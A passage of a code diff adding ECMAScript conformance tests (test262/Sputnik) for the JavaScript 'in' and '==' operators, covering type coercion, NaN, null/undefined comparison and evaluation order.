+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ShiftExpression is not an object, throw TypeError
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A3.js
+ * @description Checking all the types of primitives
+ */
+
+//CHECK#1
+try {
+ "toString" in true;
+ $ERROR('#1: "toString" in true throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: "toString" in true throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ "MAX_VALUE" in 1;
+ $ERROR('#2: "MAX_VALUE" in 1 throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: "MAX_VALUE" in 1 throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ "length" in "string";
+ $ERROR('#3: "length" in "string" throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: "length" in "string" throw TypeError');
+ }
+}
+
+//CHECK#4
+try {
+ "toString" in undefined;
+ $ERROR('#4: "toString" in undefined throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#4: "toString" in undefined throw TypeError');
+ }
+}
+
+//CHECK#5
+try {
+ "toString" in null;
+ $ERROR('#5: "toString" in null throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#5: "toString" in null throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A4.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A4.js
new file mode 100644
index 000000000..fcb4a6b86
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "in" calls ToString(ShiftExpression)
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A4.js
+ * @description Checking ToString coversion;
+ */
+
+//CHECK#1
+var object = {};
+object["true"] = 1;
+if (true in object !== "true" in object) {
+ $ERROR('#1: "var object = {}; object["true"] = 1; true in object === "true" in object');
+}
+
+//CHECK#2
+var object = {};
+object.Infinity = 1;
+if (Infinity in object !== "Infinity" in object) {
+ $ERROR('#2: "var object = {}; object.Infinity = 1; Infinity in object === "Infinity" in object');
+}
+
+//CHECK#4
+var object = {};
+object.undefined = 1;
+if (undefined in object !== "undefined" in object) {
+ $ERROR('#4: "var object = {}; object.undefined = 1; undefined in object === "undefined" in object');
+}
+
+//CHECK#5
+var object = {};
+object["null"] = 1;
+if (null in object !== "null" in object) {
+ $ERROR('#5: "var object = {}; object["null"] = 1; null in object === "null" in object');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/browser.js b/js/src/tests/test262/ch11/11.8/11.8.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/browser.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/shell.js b/js/src/tests/test262/ch11/11.8/11.8.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/shell.js
diff --git a/js/src/tests/test262/ch11/11.8/browser.js b/js/src/tests/test262/ch11/11.8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/browser.js
diff --git a/js/src/tests/test262/ch11/11.8/shell.js b/js/src/tests/test262/ch11/11.8/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/shell.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A1.js
new file mode 100644
index 000000000..3f9904f46
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between EqualityExpression and "==" or between "==" and RelationalExpression are allowed
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("true\u0009==\u00091") !== true) {
+ $ERROR('#1: (true\\u0009==\\u00091) === true');
+}
+
+//CHECK#2
+if (eval("true\u000B==\u000B1") !== true) {
+ $ERROR('#2: (true\\u000B==\\u000B1) === true');
+}
+
+//CHECK#3
+if (eval("true\u000C==\u000C1") !== true) {
+ $ERROR('#3: (true\\u000C==\\u000C1) === true');
+}
+
+//CHECK#4
+if (eval("true\u0020==\u00201") !== true) {
+ $ERROR('#4: (true\\u0020==\\u00201) === true');
+}
+
+//CHECK#5
+if (eval("true\u00A0==\u00A01") !== true) {
+ $ERROR('#5: (true\\u00A0==\\u00A01) === true');
+}
+
+//CHECK#6
+if (eval("true\u000A==\u000A1") !== true) {
+ $ERROR('#6: (true\\u000A==\\u000A1) === true');
+}
+
+//CHECK#7
+if (eval("true\u000D==\u000D1") !== true) {
+ $ERROR('#7: (true\\u000D==\\u000D1) === true');
+}
+
+//CHECK#8
+if (eval("true\u2028==\u20281") !== true) {
+ $ERROR('#8: (true\\u2028==\\u20281) === true');
+}
+
+//CHECK#9
+if (eval("true\u2029==\u20291") !== true) {
+ $ERROR('#9: (true\\u2029==\\u20291) === true');
+}
+
+//CHECK#10
+if (eval("true\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029==\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== true) {
+ $ERROR('#10: (true\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029==\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T1.js
new file mode 100644
index 000000000..2d59985ae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x == y uses GetValue
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((1 == 1) !== true) {
+ $ERROR('#1: (1 == 1) === true');
+}
+
+//CHECK#2
+var x = 1;
+if ((x == 1) !== true) {
+ $ERROR('#2: var x = 1; (x == 1) === true');
+}
+
+//CHECK#3
+var y = 1;
+if ((1 == y) !== true) {
+ $ERROR('#3: var y = 1; (1 == y) === true');
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if ((x == y) !== true) {
+ $ERROR('#4: var x = 1; var y = 1; (x == y) === true');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if ((objectx.prop == objecty.prop) !== true) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; (objectx.prop == objecty.prop) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T2.js
new file mode 100644
index 000000000..21994ea8b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x == y uses GetValue
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x == 1;
+ $ERROR('#1.1: x == 1 throw ReferenceError. Actual: ' + (x == 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x == 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T3.js
new file mode 100644
index 000000000..0f8b2c378
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x == y uses GetValue
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 == y;
+ $ERROR('#1.1: 1 == y throw ReferenceError. Actual: ' + (1 == y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 == y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T1.js
new file mode 100644
index 000000000..04d461dcb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if (((x = 1) == x) !== true) {
+ $ERROR('#1: var x = 0; ((x = 1) == x) === true');
+}
+
+//CHECK#2
+var x = 0;
+if ((x == (x = 1)) !== false) {
+ $ERROR('#2: var x = 0; (x == (x = 1)) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T2.js
new file mode 100644
index 000000000..fdfc3fc92
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() == y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() == y() throw "x". Actual: ' + (x() == y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() == y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T3.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T3.js
new file mode 100644
index 000000000..eecdc35aa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x == (x = 1);
+ $ERROR('#1.1: x == (x = 1) throw ReferenceError. Actual: ' + (x == (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x == (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (((y = 1) == y) !== true) {
+ $ERROR('#2: ((y = 1) == y) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.1.js
new file mode 100644
index 000000000..f54158976
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Return true, if x and y are both true or both false; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A3.1.js
+ * @description x and y are boolean primitives
+ */
+
+//CHECK#1
+if ((true == true) !== true) {
+ $ERROR('#1: (true == true) === true');
+}
+
+//CHECK#2
+if ((false == false) !== true) {
+ $ERROR('#2: (false == false) === true');
+}
+
+//CHECK#3
+if ((true == false) !== false) {
+ $ERROR('#3: (true == false) === false');
+}
+
+//CHECK#4
+if ((false == true) !== false) {
+ $ERROR('#4: (false == true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.2.js
new file mode 100644
index 000000000..d64e86948
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Boolean and Type(y) is Number,
+ * return the result of comparison ToNumber(x) == y
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A3.2.js
+ * @description x is primitive boolean, y is primitive number
+ */
+
+//CHECK#1
+if ((true == 1) !== true) {
+ $ERROR('#1: (true == 1) === true');
+}
+
+//CHECK#2
+if ((false == "0") !== true) {
+ $ERROR('#2: (false == "0") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.3.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.3.js
new file mode 100644
index 000000000..342c6f961
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A3.3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(y) is Number and Type(y) is Boolean,
+ * return the result of comparison x == ToNumber(y)
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A3.3.js
+ * @description x is primitive number, y is primitive boolean
+ */
+
+//CHECK#1
+if ((0 == false) !== true) {
+ $ERROR('#1: (0 == false) === true');
+}
+
+//CHECK#2
+if (("1" == true) !== true) {
+ $ERROR('#2: ("1" == true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.1_T1.js
new file mode 100644
index 000000000..2e5b4738a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.1_T1.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A4.1_T1.js
+ * @description x is NaN
+ */
+
+//CHECK#1
+if ((Number.NaN == true) !== false) {
+ $ERROR('#1: (NaN == true) === false');
+}
+
+//CHECK#2
+if ((Number.NaN == 1) !== false) {
+ $ERROR('#2: (NaN == 1) === false');
+}
+
+//CHECK#3
+if ((Number.NaN == Number.NaN) !== false) {
+ $ERROR('#3: (NaN == NaN) === false');
+}
+
+//CHECK#4
+if ((Number.NaN == Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#4: (NaN == +Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.NaN == Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#5: (NaN == -Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.NaN == Number.MAX_VALUE) !== false) {
+ $ERROR('#6: (NaN == Number.MAX_VALUE) === false');
+}
+
+//CHECK#7
+if ((Number.NaN == Number.MIN_VALUE) !== false) {
+ $ERROR('#7: (NaN == Number.MIN_VALUE) === false');
+}
+
+//CHECK#8
+if ((Number.NaN == "string") !== false) {
+ $ERROR('#8: (NaN == "string") === false');
+}
+
+//CHECK#9
+if ((Number.NaN == new Object()) !== false) {
+ $ERROR('#9: (NaN == new Object()) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.1_T2.js
new file mode 100644
index 000000000..8d3be41d2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.1_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A4.1_T2.js
+ * @description y is NaN
+ */
+
+//CHECK#1
+if ((true == Number.NaN) !== false) {
+ $ERROR('#1: (true == NaN) === false');
+}
+
+//CHECK#2
+if ((-1 == Number.NaN) !== false) {
+ $ERROR('#2: (-1 == NaN) === false');
+}
+
+//CHECK#3
+if ((Number.NaN == Number.NaN) !== false) {
+ $ERROR('#3: (NaN == NaN) === false');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY == Number.NaN) !== false) {
+ $ERROR('#4: (+Infinity == NaN) === false');
+}
+
+//CHECK#5
+if ((Number.NEGATIVE_INFINITY == Number.NaN) !== false) {
+ $ERROR('#5: (-Infinity == NaN) === false');
+}
+
+//CHECK#6
+if ((Number.MAX_VALUE == Number.NaN) !== false) {
+ $ERROR('#6: (Number.MAX_VALUE == NaN) === false');
+}
+
+//CHECK#7
+if ((Number.MIN_VALUE == Number.NaN) !== false) {
+ $ERROR('#7: (Number.MIN_VALUE == NaN) === false');
+}
+
+//CHECK#8
+if (("string" == Number.NaN) !== false) {
+ $ERROR('#8: ("string" == NaN) === false');
+}
+
+//CHECK#9
+if ((new Object() == Number.NaN) !== false) {
+ $ERROR('#9: (new Object() == NaN) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.2.js
new file mode 100644
index 000000000..b7e26344d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +0(-0) and y is -0(+0), return true
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A4.2.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((+0 == -0) !== true) {
+ $ERROR('#1: (+0 == -0) === true');
+}
+
+//CHECK#2
+if ((-0 == +0) !== true) {
+ $ERROR('#2: (-0 == +0) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.3.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.3.js
new file mode 100644
index 000000000..b888b280c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A4.3.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Number-s minus NaN, +0, -0.
+ * Return true, if x is the same number value as y; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A4.3.js
+ * @description x and y are primitive numbers
+ */
+
+//CHECK#1
+if ((Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#1: (+Infinity == +Infinity) === true');
+}
+
+//CHECK#2
+if ((Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#2: (-Infinity == -Infinity) === true');
+}
+
+//CHECK#3
+if ((Number.POSITIVE_INFINITY == -Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#3: (+Infinity == -(-Infinity)) === true');
+}
+
+//CHECK#4
+if ((1 == 0.999999999999) !== false) {
+ $ERROR('#4: (1 == 0.999999999999) === false');
+}
+
+//CHECK#5
+if ((1.0 == 1) !== true) {
+ $ERROR('#5: (1.0 == 1) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.1.js
new file mode 100644
index 000000000..26ba2d50d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are String-s.
+ * Return true, if x and y are exactly the same sequence of characters; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A5.1.js
+ * @description x and y are primitive string
+ */
+
+//CHECK#1
+if (("" == "") !== true) {
+ $ERROR('#1: ("" == "") === true');
+}
+
+//CHECK#2
+if ((" " == " ") !== true) {
+ $ERROR('#2: " (" == " ") === true');
+}
+
+//CHECK#3
+if ((" " == "") !== false) {
+ $ERROR('#3: " (" == "") === false');
+}
+
+//CHECK#4
+if (("string" == "string") !== true) {
+ $ERROR('#4: ("string" == "string") === true');
+}
+
+//CHECK#5
+if ((" string" == "string ") !== false) {
+ $ERROR('#5: (" string" == "string ") === false');
+}
+
+//CHECK#6
+if (("1.0" == "1") !== false) {
+ $ERROR('#6: ("1.0" == "1") === false');
+}
+
+//CHECK#7
+if (("0xff" == "255") !== false) {
+ $ERROR('#7: ("0xff" == "255") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.2.js
new file mode 100644
index 000000000..a6464a519
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Number and Type(y) is String,
+ * return the result of comparison x == ToNumber(y)
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A5.2.js
+ * @description x is primitive number, y is primitive string
+ */
+
+//CHECK#1
+if ((1 == "1") !== true) {
+ $ERROR('#1: (1 == "1") === true');
+}
+
+//CHECK#2
+if ((1.100 == "+1.10") !== true) {
+ $ERROR('#2: (1.100 == "+1.10") === true');
+}
+
+//CHECK#3
+if ((1 == "true") !== false) {
+ $ERROR('#3: (1 == "true") === false');
+}
+
+//CHECK#4
+if ((255 == "0xff") !== true) {
+ $ERROR('#4: (255 == "0xff") === true');
+}
+
+//CHECK#5
+if ((0 == "") !== true) {
+ $ERROR('#5: (0 == "") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.3.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.3.js
new file mode 100644
index 000000000..7fb95cf74
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A5.3.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is String and Type(y) is Number,
+ * return the result of comparison ToNumber(x) == y
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A5.3.js
+ * @description x is primitive string, y is primitive number
+ */
+
+//CHECK#1
+if (("-1" == -1) !== true) {
+ $ERROR('#1: ("-1" == -1) === true');
+}
+
+//CHECK#2
+if (("-1.100" == -1.10) !== true) {
+ $ERROR('#2: ("-1.100" == -1.10) === true');
+}
+
+//CHECK#3
+if (("false" == 0) !== false) {
+ $ERROR('#3: ("false" == 0) === false');
+}
+
+//CHECK#4
+if (("5e-324" == 5e-324) !== true) {
+ $ERROR('#4: ("5e-324" == 5e-324) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.1.js
new file mode 100644
index 000000000..95e8b80d7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) as well as Type(y) is undefined or null, return true
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A6.1.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((undefined == undefined) !== true) {
+ $ERROR('#1: (undefined == undefined) === true');
+}
+
+//CHECK#2
+if ((void 0 == undefined) !== true) {
+ $ERROR('#2: (void 0 == undefined) === true');
+}
+
+//CHECK#3
+if ((undefined == eval("var x")) !== true) {
+ $ERROR('#3: (undefined == eval("var x")) === true');
+}
+
+//CHECK#4
+if ((undefined == null) !== true) {
+ $ERROR('#4: (undefined == null) === true');
+}
+
+//CHECK#5
+if ((null == void 0) !== true) {
+ $ERROR('#5: (null == void 0) === true');
+}
+
+//CHECK#6
+if ((null == null) !== true) {
+ $ERROR('#6: (null == null) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.2_T1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.2_T1.js
new file mode 100644
index 000000000..4dcf84051
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.2_T1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If one expression is undefined or null and another is not, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A6.2_T1.js
+ * @description x is null or undefined, y is not
+ */
+
+//CHECK#1
+if ((undefined == true) !== false) {
+ $ERROR('#1: (undefined == true) === false');
+}
+
+//CHECK#2
+if ((undefined == 0) !== false) {
+ $ERROR('#2: (undefined == 0) === false');
+}
+
+//CHECK#3
+if ((undefined == "undefined") !== false) {
+ $ERROR('#3: (undefined == "undefined") === false');
+}
+
+//CHECK#4
+if ((undefined == {}) !== false) {
+ $ERROR('#4: (undefined == {}) === false');
+}
+
+//CHECK#5
+if ((null == false) !== false) {
+ $ERROR('#5: (null == false) === false');
+}
+
+//CHECK#6
+if ((null == 0) !== false) {
+ $ERROR('#6: (null == 0) === false');
+}
+
+//CHECK#7
+if ((null == "null") !== false) {
+ $ERROR('#7: (null == "null") === false');
+}
+
+//CHECK#8
+if ((null == {}) !== false) {
+ $ERROR('#8: (null == {}) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.2_T2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.2_T2.js
new file mode 100644
index 000000000..6f5f2ac70
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A6.2_T2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If one expression is undefined or null and another is not, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A6.2_T2.js
+ * @description y is null or undefined, x is not
+ */
+
+//CHECK#1
+if ((false == undefined) !== false) {
+ $ERROR('#1: (false == undefined) === false');
+}
+
+//CHECK#2
+if ((Number.NaN == undefined) !== false) {
+ $ERROR('#2: (Number.NaN == undefined) === false');
+}
+
+//CHECK#3
+if (("undefined" == undefined) !== false) {
+ $ERROR('#3: ("undefined" == undefined) === false');
+}
+
+//CHECK#4
+if (({} == undefined) !== false) {
+ $ERROR('#4: ({} == undefined) === false');
+}
+
+//CHECK#5
+if ((false == null) !== false) {
+ $ERROR('#5: (false == null) === false');
+}
+
+//CHECK#6
+if ((0 == null) !== false) {
+ $ERROR('#6: (0 == null) === false');
+}
+
+//CHECK#7
+if (("null" == null) !== false) {
+ $ERROR('#7: ("null" == null) === false');
+}
+
+//CHECK#8
+if (({} == null) !== false) {
+ $ERROR('#8: ({} == null) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.1.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.1.js
new file mode 100644
index 000000000..b2f0d23a7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.1.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Object-s.
+ * Return true, if x and y are references to the same Object; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.1.js
+ * @description Checking Boolean object, Number object, String object, Object object
+ */
+
+//CHECK#1
+if ((new Boolean(true) == new Boolean(true)) !== false) {
+ $ERROR('#1: (new Boolean(true) == new Boolean(true)) === false');
+}
+
